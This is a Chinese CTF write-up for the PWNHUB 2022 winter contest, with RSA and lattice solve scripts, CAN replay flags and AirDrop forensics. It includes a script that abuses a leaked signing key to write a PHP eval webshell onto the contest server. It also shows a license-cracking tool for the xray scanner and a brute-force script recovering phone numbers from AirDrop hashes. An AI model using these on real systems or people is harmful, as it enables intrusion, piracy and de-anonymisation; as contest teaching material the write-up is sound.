PWNHUB 2022 冬季赛

CRYPTO

ASR

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)

R = getPrime(256)
S = getPrime(512)
A = getPrime(1024)

N = R * S * A
c = pow(m, 0x10001, N)

RA = R & A
print('RSA1',hex(RA * S))
print('RSA2',hex(RA | S))

print('c', hex(c))
print('N',hex(N))

# RSA1 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
# RSA2 0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37
# c 0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902
# N 0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7

非预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *

RSA1=0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
RSA2=0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37
c=0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902
N=0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7

S=GCD(RSA1,N)
d=inverse(0x10001,S-1)
m=pow(c,d,S)

print(bytes.fromhex(hex(m)[2:]))
#flag{b66f68258f184bd7afddd32c1518eed0}

预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *

RSA1=0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
RSA2=0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37
c=0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902
N=0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7

offset = 256
RSA2 >>= offset
RSA2 <<= offset

PR.<x> = PolynomialRing(Zmod(RSA1))
f = x + RSA2
roots = f.small_roots(X=2^offset, beta = 0.4)
S = RSA2 + roots[0]
S = int(S)

cc = int(c % S)
print(cc)
d = int(inverse(0x10001, S-1))
print(long_to_bytes(pow(cc,d,S)))

大杂烩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
a = 1755716071599
N = 236038564943567983056828121309828109017
Px, Py =
b = ZZ((Py**2 - Px**3 - a * Px) % N)
e = (b<<42) + a

enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356
enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204
NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347
M = matrix(ZZ, [
[2**256, enc1, enc2],
[0, NN, 0],
[0, 0, NN]
])
L = M.LLL()
hd, ld = L[0][1], L[0][2]
d = (hd<<512) + ld

n = 236038564943567983056828121309828109017
print(pow(2, e*d, n) == 2)

from Crypto.Util.number import *
from random import randint
while True:
k = e * d - 1
g = randint(2, n - 1)
while True:
x = pow(g, k, n)
if x > 1 and n > GCD(x - 1, n) > 1:
p = GCD(x - 1, n)
q = n // p
print(f"{p = }\n{q = }")
print(p * q == n)
for i in range(8):
print(long_to_bytes(p >> i))
print(long_to_bytes(q >> i))
exit()
if k % 2:break
k //= 2
# flag{e89f47939d12434cb201080d8b240774}

MISC

飞驰人生

前置知识
[https://www.anquanke.com/post/id/106409?from=timeline#h2-1](https://www.anquanke.com/post/id/106409?from=timeline#h2-1)
CAN报文分析,使用重放攻击解题
[http://www.hackdig.com/09/hack-771228.htm](http://www.hackdig.com/09/hack-771228.htm)
需要去GitHub下载最新版can-utils才能实现挨个手调
[GitHub - linux-can/can-utils: Linux-CAN / SocketCAN user space applications](https://github.com/linux-can/can-utils)
查看日志 将异常流量提取出来可以更快的调试完毕
直接筛选244#(油门流量)的异常流量去进行手调
./canplayer -I ./xxx.txt -v -i逐行调试命令


表盘在此发生突变所以报文异常为244#000000A60000
结合一道国外CAN报文题目可以得知19B#00000F000000为门锁攻击异常流量

没想到直接交就对了 还没来得及对门锁流量进行调试 还需要对can-utils源码进行更深入学习才行 太菜了
flag{19B#00000F000000_244#000000A60000}

证书里也有秘密

使用 -h 查看帮助

1
2
3
4
5
6
7
8
9
10
11
PS > .\xray-cracker -h
破解xray高级版证书,使用 -h 参数查看使用帮助

Usage of xray-cracker:
-c string
替换xray程序内置公钥,需要指定xray程序文件路径
-g string
生成一个永久license,需要指定用户名
-p string
解析官方证书,需要指定证书路径

使用.\xray-cracker -p xray-license.lic查看即可
flag{3270cdada4eb4a809d25ff4820d5a1f7}

空投之王

下载附件后一眼Airdrop取证(小姐姐好看捏) 感谢Qsugar师傅送的盘古石
导入日志文件

利用盘古石 Airdrop 哈希转换工具得到手机号码
flag{18800009527}
爆破脚本 爆破速度感人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib

targetstart = input('[+] Enter the target hash start fragment: ')
targetend = input('[+] Enter the target hash end fragment: ')
print('[+] Checking all Chinese areacode')
areacodelist = ['139', '138', '137', '136', '135', '134', '159', '158','157','150','151', '152', '188', '187', '182', '183', '184', '178']
phonematch = []

for areacode in areacodelist:
line = '0'
print('[+] Searching area code ' + areacode + ' for target...')
while int(line) < 100000000:
targetphone = '86' + str(areacode) + str(line).zfill(8)
targettest = hashlib.sha256(targetphone.encode())
starthashcheck = targettest.hexdigest() [0:5]
endhashcheck = targettest.hexdigest() [-5:]
if starthashcheck == targetstart.lower() and endhashcheck ==targetend.lower():
phonematch.append(targetphone)
print(targetphone + ' matches hash fragments. Stillchecking...')
line = int(line) + 1
while int(line) == 100000000:
break
if phonematch:
print('Your target\'s phone number may be:')
for match in phonematch:
print(match)
else:
print('Target phone number not found in this area code set. Targetphone may use another country code.')

坐井观天

可以使⽤的字符有``string.ascii_letters + string.digits + “,!?;#+-/$@&|~^<>(){}” 这些⽅法“getattr”, “exec”, “open”, “builtins“, “build_class“, “loader“, “spec都被 禁⽤了,那么这个时候可以选择⽤chr()来绕过,当然也可以⽤eval(input())`绕过。

PWN

justJS

非预期了。。。

GAMING

游戏来咯

注册账号登录即可get flag

攻城拔寨

修改器直接改

将官职修改到督邮以上

重新登陆,查看邮箱

特殊玩家

getshell

打开附件在APMServ5.2.6>www>htdocs>server>game>BattleNetGateway.php
可以看到存在漏洞,可以上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php   
require_once("interface.php");
require_once("utils.php");
require_once("BattleFunc.php");
require_once("HeroFunc.php");
require_once("BattleNetServices.php");
define("BATTLE_NET_KEY","M7XDFCR9WRRGRQ9ETBQ6");
if (!defined('PATH_SEPARATOR')) {if (substr(PHP_OS, 0, 3) == 'WIN') define('PATH_SEPARATOR', ';'); else define('PATH_SEPARATOR', ':');}
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.realpath("../"));

$param=$_POST;
if(empty($param))$param=$_GET;
$from_uid=$param["from_uid"];
$sign=$param["sign"];
$commandFunc=$param["commandFunc"];
$content=urldecode($param["content"]);
$content_encoding=$param["content-encoding"];
//$tt=$from_uid.$commandFunc.$content.BATTLE_NET_KEY;



$ret=array();
if($sign!=md5($from_uid.$commandFunc.$content.BATTLE_NET_KEY))
$ret[]=0;
else{
$ret[]=1;

try{
if($content_encoding=="csv"){
$inputParams=explode("|",$content);
if(count($inputParams)==1){
$inputParams=$inputParams[0];
}
$ret[]=$commandFunc($from_uid,$inputParams);
}else{
$inputParams=json_decode($content,true);
if(is_array($inputParams)&&count($inputParams)==1){
$inputParams=array_shift($inputParams);
}
$ret[]=$commandFunc($from_uid,$inputParams);
}
}catch(Exception $e){
$ret = array(0=>0);
$ret[] = $e->getMessage();
}
}
if($content_encoding=="csv"){
print implode("|",$ret);
}else{
print json_encode($ret);
}

?>

看到密钥

define("BATTLE_NET_KEY","M7XDFCR9WRRGRQ9ETBQ6");
上传一个木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import hashlib
import sys

BATTLE_NET_KEY = "M7XDFCR9WRRGRQ9ETBQ6" //key
data = {
"from_uid": "a.php",
"commandFunc": "file_put_contents",
"content": '<? eval($_POST['a']);', //一句话
"content-encoding": "csv"
}
data["sign"] = hashlib.md5((data["from_uid"]+data["commandFunc"]+data["content"]+BATTLE_NET_KEY).encode()).hexdigest()
t=requests.post("http://120.55.42.64:81/server/game/BattleNetGateway.php", data=data)
print(t.text)

蚁剑连接,flag在根目录下

PPC

Tcp Show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64


n = int(input())
for _ in range(n):
d, rawdata = input().strip().split()
data = base64.b64decode(rawdata.encode())
now = ''
for i in range(0, len(data), 16):
if d == '1':
now += ' ' * 8
now += hex(i)[2:].zfill(8) + ' ' * 2
for j in range(16):
if j == 8:
now += ' '
if i + j < len(data):
now += hex(data[i + j])[2:].zfill(2) + ' '
else:
now += ' ' * 3
now += ' ' * 2
for j in range(16):
if j == 8:
now += ' '
if i + j < len(data):
tmp = data[i + j]
if 32 <= tmp <= 126:
now += chr(tmp)
else:
now += '.'
else:
now += ' '
now += '\n'
print(now[:-1])

Others

垃圾邮件分析

爆破sha256脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
data = 'sha256(vKyd2tRZFtkExhiNlPlVTduEqY47 + xxxx) = 4a39288b21b34650b177bdc58c416b3f55305945a9cf87f4bd7b4da2569c10e4'
suffix = data.split("(")[1].split(" +")[0]
digest = data.split("= ")[1]


from hashlib import *
import itertools
import string
from Crypto.Hash import SHA256
import itertools

ALPHABET = string.ascii_letters + string.digits


def getProof(suffix,digest):

#print(f"suffix: {suffix}\ndigest: {digest}")

for i in itertools.product(ALPHABET,repeat=4):
prefix = ''.join(i)
guess = suffix + prefix
if sha256(guess.encode()).hexdigest() == digest:
#print(f"Find XXXX: {prefix}")
return prefix
break

x = getProof(suffix,digest)
print(x)

给50条数据来训练AI,然后给10条邮件让判断是垃圾邮件还是好的邮件
不会机器学习,纯靠翻译自己去判断,10条全对就拿到flag了。


PWNHUB 2022 冬季赛
https://g1at.github.io/2023/02/05/2022PWNHUB冬季赛Write Up/
作者
g0at
发布于
2023年2月5日
许可协议